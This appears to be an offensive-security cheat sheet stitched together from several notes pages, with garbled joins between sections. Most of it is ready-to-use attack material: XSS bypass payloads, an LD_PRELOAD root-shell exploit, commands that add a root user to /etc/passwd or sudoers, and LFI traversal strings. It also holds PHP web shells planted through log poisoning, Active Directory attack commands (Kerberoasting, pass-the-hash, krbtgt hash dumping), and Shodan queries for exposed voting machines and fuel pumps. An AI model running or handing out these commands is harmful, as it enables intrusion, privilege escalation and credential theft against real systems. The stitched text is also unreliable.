# obfuscated payload
<script>+-+-1-+-+confirm()</script>
# basic request
<BODY onload=confirm()>
# obfuscated payload
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
# basic request
<a href=javascript;alert()>ClickMe
# bypassed technique
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe# check sudo version for exploits
sudo -V | grep “Sudo ver”
# check rights
sudo -l
# gtfobins !
# sudo LD_PRELOAD
Defaults env_keep += LD_PRELOAD
# COMPILE /tmp/exploit.c :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
# with :
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute any binary with the LD_PRELOAD to spawn a shell :
sudo LD_PRELOAD=<full_path_to_so_file> <program>
sudo LD_PRELOAD=/tmp/shell.so find
# sudo_inject | https://github.com/nongiach/sudo_inject
# requirements :
# Ptrace fully enabled (/proc/sys/kernel/yama/ptrace_scope == 0).
# Current user must have living process that has a valid sudo token with the same uid.
sudo whatever
sh exploit.sh
# wait
sudo -i
# root !id
wwhoami
w
last
cat /etc/passwd
cat /etc/sudoers
cat /etc/groupuname -a
lsb_release -a
cat /proc/version /etc/issue /etc/*-release
# check for cvesls -la ~/
ls -la /var/mail /home/*/ /var/spool/mail /home/*/.bash_history /var
# check those files for hashes
cat /etc/passwd
cat /etc/shadow
ls -la /etc/passwd /etc/shadow
# can we write to the .bashsrc file ? if so, can be executed when us logs in
ls -la /root/.bashrc
ls -la /home/*/.bashrc
locate .bashrc
find / -name .bashrc -xdev 2>/dev/null# something is running that we can exploit ?
ps aux | grep root
# localhost open ports ?
netstat -antup
# any useful info in the main bash user files ?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout# check for cronjobs
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron; ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
# PSPY to to see commands run by other users, cron jobs, etc. in real time
./pspy > pspy-out.txt# unmounted file-systems ?
cat /etc/fstab
# If NFS is open, check if the target has any open NFS shares, if it does, then mount it to your filesystem
showmount -e X.X.X.X
mount X.X.X.X:/ /tmp/mount1# check installed apps + versions + running ?
ls -alh /usr/bin/ /sbin/ /var/cache/apt/archives /var/cache/yum/
dpkg -l
rpm -qa
# Any useful applications installed?
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen nmap 2>/dev/null# can we hijack any shell sessions ?
tmux ls
tmux attach -t tmuxname
screen -ls
screen-dr sessionname
byobu list-session# some services can save clear-text creds in memory
ps aux # grab the process id
gdb -p SERVICE; gdb PROCID
# in memory passwords
strings /dev/mem -n10 | grep -i PASS# Files containing passwords
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
# ssh
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
# World writable files on the system
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
# writable /etc/passwd
# add :
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
# writable /etc/sudoers
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
# World executable folder
find / -perm -o x -type d 2>/dev/null
# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null# SUID / SGID
find / -perm -u=s -type f 2>/dev/null | xargs ls -l
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null | xargs ls -l
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
# Look for any binaries that seem odd. Any binaries running from a users home directory?
# Check the version of any odd binaries and see if there are any public exploits that can be used to gain root
# SUID PATH
echo $PATH
env | grep PATH
print $PATH/usr/bin/getcap -r /usr/bin
getcap -r / 2>/dev/null
## Interesting capabilities
getcap openssl /usr/bin/openssl
openssl=ep
# the following capabilities can be used in order to upgrade your current privileges.
cap_dac_read_search # read anything
cap_setuid+ep # setuid
# EXAMPLES
# 1
# linpeas /usr/local/bin/ruby = cap_chown+ep
echo 'File.chown(<User ID>, nil, "/etc/shadow")' > exploit.rb
ruby exploit.rb
chmod 777 /etc/shadow
nano /etc/shadow
# 2
# cap_setuid+ep python2.7
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)docker run -it -v /:/mnt bash chroot
docker run -v /root:/mnt -it bashHeap : is allocated from this area. This area starts at the end of the ".bss" segment and grows to the higher memory addresses.
Stack : is a Last-In-First-Out data structure in which the return addresses, parameters, and, depending on the compiler options, frame pointers are stored. C/C++ local variables are stored here, and you can even copy code to the stack. The Stack is a defined area in RAM. The linker reserves this area and usually places the stack in RAM's lower area above the global and static variables. The contents are accessed via the stack pointer, set to the upper end of the stack during initialization. During execution, the allocated part of the stack grows down to the lower memory addresses.
strcat
RDX
Data is used for I/O and in arithmetic operations for multiply and divide operations involving large values
EAX
RAX
Accumulator is used in input/output and for arithmetic operations
EBX
RBX
Base is used in indexed addressing
ECX
RCX
Counter is used to rotate instructions and count loops
EIP
RIP
Instruction Pointer for the stack. In other words, it tells the computer where to go next to execute the next command and controls the flow of a program.
ESP
RSP
Stack Pointer points to the top of the stack
EBP
RBP
Base Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack ; it stores the address of the beginning of the stack frame. Thus, the current stack frame is located between the address contained in EBP and the address contained in ESP.


EDX
Send this :
SQL Injection: simple but classic, try SQL and NoSQL injection in fields values,
Send a single quote ' inside a graphql parameter to trigger the SQL injection
Debug & information disclosure: Insert bad characters in object or fields name, sometimes DEBUG mode is activated and even if you have a 403 status, you could have a good surprise,
Batching Attack: Batching is the process of taking a group of requests, combining them into one, and making a single request with the same data that all of the other queries would have made (more here). When authentication process is used with GraphQL, batch attack can be performed to simultaneously sending many queries with different credentials, it’s like a bruteforce attack but only with one request. Also, batch attack can be used against 2FA authentication, to bypass rate-limit (if it’s based on number of query by IP for example). More : https://lab.wallarm.com/graphql-batching-attack/

The following is an example of PHP code that is vulnerable to LFI.
GET parameter in url
Used to read .PHP files. It is not possible to read a PHP file's content via LFI because PHP files get executed and never show the existing code. We can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.
Commands
Like a log file :
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
In some cases you can also send the email with the mail command line.
Check for :
Change the DNS record via nsupdate
pip install graphinder
# using specific python binary
python3 -m pip install graphinder
graphinder -d $domain# installation
git clone https://github.com/swisskyrepo/GraphQLmap.git
cd GraphQLmap/
python setup.py install
# usage
graphqlmap -h{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}# url encoded
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
# full
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}git clone https://gitlab.com/dee-see/graphql-path-enum.git
cd graphql-path-enum/
graphql-path-enum --helpdir # uses directory/file enumeration mode
dns # uses dns subdomain enumeration mode
fuzz # uses fuzzing mode
help # help about any command
s3 # uses aws bucket enumeration mode
version # shows the current version
vhost # uses vhost enumeration mode--delay <duration> # Time each thread waits between requests (e.g. 1500ms)
-h # help for gobuster
--no-error # Don't display errors
-z # Don't display progress
-o <string> # Output file to write results
-p <string> # File containing replacement patterns
-q # Don't print the banner and other noise
-t <int> # Number of concurrent threads (default 10)
-v # Verbose output (errors)
-w <string> # Path to the wordlist# discover txt,html,js,json,php,py files
gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,js,json,php,py
# exclude 403,404 codes
gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403 404
# discover 0.0.0.0 subdomains
gobuster dns -d http://0.0.0.0 -w /usr/share/SecLists/Discovery/DNS/namelist.txt
# discover txt,html,js,json,php,py files using a proxy connection
gobuster dir -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,js,json,php,py --proxy http://127.0.0.1:8081#seclist
feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
#dirbuster
feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o feroxbuster
feroxbuster -t 10 -u http://0.0.0.0 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x py,html,txt -o feroxbusterferoxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -o feroxbuster
feroxbuster -t 10 -u https://0.0.0.0 -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -x py,html,txt -o feroxbuster# search for directories & put 404 responses away
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://0.0.0.0/FUZZ
# search for php files
wfuzz -w wordlist/general/common.txt http://0.0.0.0/FUZZ.php
# use 2 wordlists for user & pass & put 302 responses away
wfuzz -z file,/usr/share/wordlists/rockyou.txt -d "uname=FUZZ&pass=FUZZ" --hc 302 http://0.0.0.0/userinfo.php 
/**
* Get the filename from a GET input
* Example - http://example.com/?file=filename.php
*/
$file = $_GET['file'];
/**
* Unsafely include the file
* Example - filename.php
*/
include('directory/' . $file);http://example.com/index.php?page=../../../etc/passwd
http://example.thm.labs/page.php?file=/etc/passwd
# NULL BYTE
http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00
# FILTER BYPASS TRICKS
http://example.com/index.php?page=....//....//etc/passwd
http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# DOUBLE ENCODING
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 ENCODING
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00wfuzz -c -w list-lfi.txt --hc 404,400 --hw 0 https://metabase.peren.fr/api/geojson?url=file:///FUZZhttp://example.com/page.php?file=php://filter/resource=/etc/passwd
http://example.com/page.php?file=php://filter/read=string.rot13/resource=/etc/passwd
http://example.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?># /var/log/apache2/access.log
# set inside the user agent or inside a GET parameter a php shell like :
<?php system($_GET['cmd']); ?>
# same for /proc/self/environssh <?php system($_GET["cmd"]);?>@10.10.10.10
# Then include the SSH log files inside the Web Application :
# http://example.com/index.php?page=/var/log/auth.log&cmd=idroot@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null/etc/bind/named.confnsupdate
> server $ip_target $port_dns_target
> key $key_algorithm:$name_key $secret
> zone $dns_name
> update add mail.$target_domain 86400 A $ip_host
> send
# start python smtpd server to receive mail
python3 -m smtpd -c DebuggingServer -n $ip_host:25


In order to install Lynis on your system, you must follow these steps :
# check what infos you can see
wireshark
# nmap
# BEST - https://miloserdov.org/?p=5248
# discover
sudo nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml $network_ip
# extract the hosts
grep -A 2 'up' nmap_output.xml | grep -E -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > hosts.txt
# scan them, find routers
sudo nmap -v -PE -n --min-hostgroup 1024 --min-parallelism 1024 -p 80,443,8080,1080 --open -iL hosts.txt -oX nmap_routers.xml
# OTHERS
# Ping discovery, Top 20, fragment packets, no DNS resolution
nmap -v --top-ports 20 $ip/24 -f -n --open -oA
# Ping discovery, Top 200, fragment packets, no DNS resolution, service version
nmap -v --top-ports 200 $ip/24 -f -n -sV --open -oA
# Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)
nmap -v --top-ports 1000 $ip/24 -f -n -sV -Pn --open -oAThe HTTP Strict-Transport-Security response header (often abbreviated as HSTS) lets a web site tell browsers that it should only be accessed using HTTPS, instead of using HTTP.
max-age=SECONDS
The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS.
includeSubDomains
If this optional parameter is specified, this rule applies to all of the site’s subdomains as well.
max-age=<expire-time> The time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS.
includeSubDomains Optional If this optional parameter is specified, this rule applies to all of the site's subdomains as well.
preload Optional See Preloading Strict Transport Security for details. Not part of the specification.
A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
base-uri
Define the base URI for relative URIs.
default-src
Define loading policy for all resources type in case a resource type’s dedicated directive is not defined (fallback).
script-src
Define which scripts the protected resource can execute.
object-src
Define from where the protected resource can load plugins.
style-src
Define which styles (CSS) can be applied to the protected resource.
X-Frame-Options response header improve the protection of web applications against Clickjacking. It declares a policy communicated from a host to the client browser on whether the browser must not display the transmitted content in frames of other web pages.
deny
No rendering within a frame.
sameorigin
No rendering if origin mismatch.
allow-from: DOMAIN
Allows rendering if framed by frame loaded from DOMAIN.
The Referrer-Policy HTTP header governs which referrer information, sent in the Referer header, should be included with requests made.
no-referrer
The Referer header will be omitted entirely. No referrer information is sent along with requests.
no-referrer-when-downgrade
This is the user agent’s default behavior if no policy is specified. The origin is sent as referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but isn’t sent to a less secure destination (HTTPS → HTTP).
origin
Only send the origin of the document as the referrer in all cases. (e.g. the document https://example.com/page.html will send the referrer https://example.com/.)
origin-when-cross-origin
Send a full URL when performing a same-origin request, but only send the origin of the document for other cases.
same-origin
A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information.
Setting this header will prevent the browser from interpreting files as something else than declared by the content type in the HTTP headers.
nosniff
Will prevent the browser from MIME-sniffing a response away from the declared content-type.
Example
A cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction. Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the X-Permitted-Cross-Domain-Policies HTTP response header.
none
No policy files are allowed anywhere on the target server, including this master policy file.
master-only
Only this master policy file is allowed.
by-content-type
[HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed.
by-ftp-filename
[FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed.
all
All policy files on this target domain are allowed.
No longer recommended. Deprecated.
Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes.
Be aware that this feature may cease to work at any time.
No longer recommended. Deprecated.
This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.
Please use Content-Security-Policy instead.
No longer recommended. Deprecated.
This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes
Obsolete since June 2021.
# install | usage
git clone https://github.com/saladandonionrings/NextGen-HeadersScanner.git
cd NextGen-HeadersScanner/
pip install -r requirements.txt
python h_scan -u https://$targetStrict-Transport-Security: max-age=<expire-time>
Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
Strict-Transport-Security: max-age=<expire-time>; preloadContent-Security-Policy: script-src 'self'X-Frame-Options: denyReferrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-urlX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: none# Get domain name
cme smb 10.10.10.10
smbmap -H $dc_ip -u '' -p ''
# Detect SMB on network
responder-RunFinger -i X.X.X.0/24
# Find DC
nslookup -q=srv _ldap._tcp.dc._msdcs.<domain.name>
nslookup -type=srv _ldap._tcp.<domain.name> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g'
# Enumerate DC
ldapsearch -h <DC.IP> -x -s base namingcontexts
# Check for null session, if got users go for ASREPRoast with GetNPUsers
ldapsearch -h <DC.IP> -x -b "DC=XX,DC=XX"
# Get hashes with no krb preauth
GetNPUsers.py [Domain Name]/ -dc-ip [Domain Controller IP address] -request
GetNPUsers.py 'DC.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.10
# Get Users List
GetADUsers.py DC.local/ -dc-ip $dc_ip -debug
# Get Users from ldap
windapsearch -U — full — dc-ip $dc_ip
# Get base domain
ldapsearch -x -h $dc_ip -s base namingcontexts
# Get more info from DC
ldapsearch -x -h $dc_ip -b ‘DC=DCNAME,DC=LOCAL’
# User Domain info
Get-ADUser $name
# Forest info
Get-ADForest
# Get all computers in the current domain
Get-NetComputer# Kerberoasting (hashcat 13100)
GetUserSPNs.py -request -save -dc-ip <IP> domain/user # hashcat 13100
# Bruteforce usernames and passwords with kerbrute
kerbrute.py -d <DC.LOCAL> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
# ASREPRoast (hashcat 18200)
GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# PTH/PTK
# Request ticket
getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
getTGT.py <domain_name>/<user_name>:[password]
# Set ticket
export KRB5CCNAME=<TGT_ccache_file>
# Use it
psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
psexec.py -hashes 'hash' -dc-ip 10.10.10.10 [email protected]
smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass# Enum AD AIO
# https://github.com/CasperGN/ActiveDirectoryEnumeration
python3 -m ade --dc <domain.name> -u <[email protected]> --help
# https://github.com/adrecon/ADRecon from Windows on Domain
# windapsearch
# https://github.com/ropnop/go-windapsearch
windapsearch -d <domain>.<name> -u <user> -p <password> --help
# LDAP
# best tool : ldeep - https://github.com/franc-pentest/ldeep
ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC_IP_OR_LDAP_SERV> all ldap_dump_
# Domain users
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt
# Domain computers
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt
# Domain groups
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
# RPClient - enumeration users, groups, ...
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c dsr_enumtrustdom
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomains
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomusers
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomgroups
# CME
# Run commands
# can you access sensitive shares ? check for SYSVOL
cme smb <IP> -u <USER> -p '<PASS>' --shares
# PS
cme smb <IP> -u <USER> -p '<PASS>' -X 'Get-Host'
# CMD
cme smb <IP> -u <USER> -p '<PASS>' -x whoami
# PTH
cme smb <IP> -u <USER> -H <NTHASH> -x whoami
# Other methods
cme smb <IP> -u <USER> -p '<PASS>' --exec-method {mmcexec,smbexec,atexec,wmiexec}
# Dumps
# LSASSY
cme smb <IP> -d <DOMAIN> -u <USER> -p <PASS> -M lsassy
# SAM
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sam
# LSA
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --lsa
# Sessions
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sessions
# Logged users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --loggedon-users
# Disks
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --disks
# Users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --users #Enumerate users
# Groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --groups
# Local groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --local-groups
# Password policy
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --pass-pol# User hash
secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user user1
# krbtgt hash dump -> Golden Ticket
secretsdump.py '<DC.NAME>/<User>@<DC.IP>' -just-dc-user krbtgtgit clone https://github.com/CISOfy/lynis.git
cd lynis
./lynis audit system -Qimg-src
Define from where the protected resource can load images.
media-src
Define from where the protected resource can load video and audio.
frame-src
(Deprecated and replaced by child-src) Define from where the protected resource can embed frames.
child-src
Define from where the protected resource can embed frames.
frame-ancestors
Define from where the protected resource can be embedded in frames.
font-src
Define from where the protected resource can load fonts.
connect-src
Define which URIs the protected resource can load using script interfaces.
manifest-src
Define from where the protected resource can load manifests.
form-action
Define which URIs can be used as the action of HTML form elements.
sandbox
Specifies an HTML sandbox policy that the user agent applies to the protected resource.
script-nonce
Define script execution by requiring the presence of the specified nonce on script elements.
plugin-types
Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.
reflected-xss
Instruct the user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header.
block-all-mixed-content
Prevent the user agent from loading mixed content.
upgrade-insecure-requests
Instruct the user agent to download insecure HTTP resources using HTTPS.
referrer
(Deprecated) Define information the user agent can send in the Referer header.
report-uri
(Deprecated and replaced by report-to) Specifies a URI to which the user agent sends reports about policy violation.
report-to
Specifies a group (defined in the Report-To header) to which the user agent sends reports about policy violation.
strict-origin
Only send the origin of the document as the referrer to a-priori as-much-secure destination (HTTPS → HTTPS), but don’t send it to a less secure destination (HTTPS → HTTP).
strict-origin-when-cross-origin
Send a full URL when performing a same-origin request, only send the origin of the document to a-priori as-much-secure destination (HTTPS → HTTPS), and send no header to a less secure destination (HTTPS → HTTP).
unsafe-url
Send a full URL (stripped from parameters) when performing a same-origin or cross-origin request.
— A continuously expanding catalog of dorks with an integrated search function.
— A search engine featuring a built-in dork builder.
— An online Google dorks builder focused on discovering sensitive pages..
— Google Dorking Usage
— Automates the search for potentially vulnerable web pages using dorks from the Google Hacking Database.
— A web-based PHP utility for automating Google Dorks usage, cleaning, and saving search results.
— Another tool for automating dork searches, written in Golang.
— A utility for identifying vulnerabilities and misconfigurations in web servers.
Disclaimer: It is highly advised that you use the information you find for legal purposes only. The unauthorized access of information can lead to a criminal proceeding against you. So use Google hacking with care (and written permission).
Links
port: Search by specific port
net: Search based on an IP/CIDR
hostname: Locate devices by hostname
os: Search by Operating System
city: Locate devices by city
country: Locate devices by country
geo: Locate devices by coordinates
org: Search by organization
before/after: Timeframe delimiter
hash: Search based on banner hash
has_screenshot:true Filter search based on a screenshot being present
title: Search based on text within the title
asn: Search ASN e.g. 'AS12345'
ssl.jarm: Search by JARM fingerprint
net:
Find devices based on an IP address or /x CIDR. net:210.214.0.0/16
Organization
Autonomous System Number (ASN)
asn:ASxxxx
os:
Find devices based on operating system. os:"windows 7"
port:
Find devices based on open ports. proftpd port:21
before/after:
Find devices before or after between a given time. apache after:22/02/2009 before:14/3/2010
SSL/TLS Certificates
Self signed certificates ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
Expired certificates ssl.cert.expired:true
ssl.cert.subject.cn:example.com
Device Type
Operating System
Product
Customer Premises Equipment (CPE)
Server
ssh fingerprints
dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0
Pulse Secure
http.html:/dana-na
PEM Certificates
http.title:"Index of /" http.html:".pem"
MySQL
"product:MySQL"
MongoDB
"product:MongoDB" mongodb port:27017
Fully open MongoDBs
"MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK"
Kibana dashboards without authentication
kibana content-legth:217
elastic
port:9200 json port:"9200" all:elastic
Memcached
"product:Memcached"
CouchDB
"product:CouchDB" port:"5984"+Server: "CouchDB/2.1.0"
PostgreSQL
"port:5432 PostgreSQL"
Riak
"port:8087 Riak"
Redis
"product:Redis"
Cassandra
"product:Cassandra"
Samsung Electronic Billboards
"Server: Prismview Player"
Gas Station Pump Controllers
"in-tank inventory" port:10001
Fuel Pumps connected to internet:
No auth required to access CLI terminal.\ "privileged command" GET
Automatic License Plate Readers
P372 "ANPR enabled"
Traffic Light Controllers / Red Light Cameras
mikrotik streetlight
Voting Machines in the United States
"voter system serial" country:US
Open ATM:
May allow for ATM Access availability NCR Port:"161"
Telcos Running Cisco Lawful Intercept Wiretaps
